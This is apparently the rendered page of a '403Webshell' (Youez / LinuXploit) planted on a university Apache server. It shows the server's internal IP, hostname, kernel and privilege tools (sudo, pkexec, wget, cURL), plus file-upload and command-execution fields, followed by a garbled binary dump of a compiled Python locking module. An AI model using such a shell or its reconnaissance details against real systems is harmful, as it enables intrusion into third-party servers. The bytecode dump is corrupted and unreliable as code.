403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/lib/python3.6/site-packages/vdo/vdomgmnt/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/lib/python3.6/site-packages/vdo/vdomgmnt/__pycache__/CommandLock.cpython-36.pyc
3

&gndL
�@shdZddlmZddlmZddlmZddlmZddlmZmZGdd�de	�Z
Gd	d
�d
e�ZdS)zx
  CommandLock - simple process locking

  $Id: //eng/vdo-releases/aluminum/src/python/vdo/vdomgmnt/CommandLock.py#2 $

�)�absolute_import)�division)�print_function)�unicode_literals)�Command�FileLockcs(eZdZdZ�fdd�Zdd�Z�ZS)�CommandLockErrorz>Exception raised to indicate an error acquiring a CommandLock.cstt|�j�|j|�|_dS)N)�superr�__init__�format�_message)�self�message�args)�	__class__��!/usr/lib/python3.6/CommandLock.pyr
%szCommandLockError.__init__cCs|jS)N)r)r
rrr�__str__*szCommandLockError.__str__)�__name__�
__module__�__qualname__�__doc__r
r�
__classcell__rr)rrr srcsJeZdZdZ�fdd�Zd
�fdd�	Zdd�Zd	d
�Z�fdd�Z�Z	S)�CommandLockzSimple process locking.
  c	s0ytt|�j�Wntd|j��YnX|S)NzCould not lock file {0})r	r�	__enter__r�path)r
)rrrr5s
zCommandLock.__enter__Tcs"tt|�j||rdnddd�dS)N�rzr+�)Ztimeout)r	rr
)r
ZfilePath�readonly)rrrr
=s
zCommandLock.__init__cs@t��dg}|jdj�fdd��jD���|jd�dj|�S)N�[�,c3s&|]}dj|tt�|��g�VqdS)�=N)�join�str�getattr)�.0�key)r
rr�	<genexpr>Esz'CommandLock.__repr__.<locals>.<genexpr>�]�)r#�appendr"�__dict__)r
Zlstr)r
r�__repr__Cs

zCommandLock.__repr__cCsdjt|�j|j�S)Nz{0}({1}))r�typerr)r
rrrrKszCommandLock.__str__cs*tt|�j�tdd|jg�}|j�dS)N�chmodZ644)r	r�_createFilerrZrun)r
�cmd)rrrr/OszCommandLock._createFile)T)
rrrrrr
r,rr/rrr)rrr.srN)rZ
__future__rrrrZ	vdo.utilsrr�	Exceptionrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit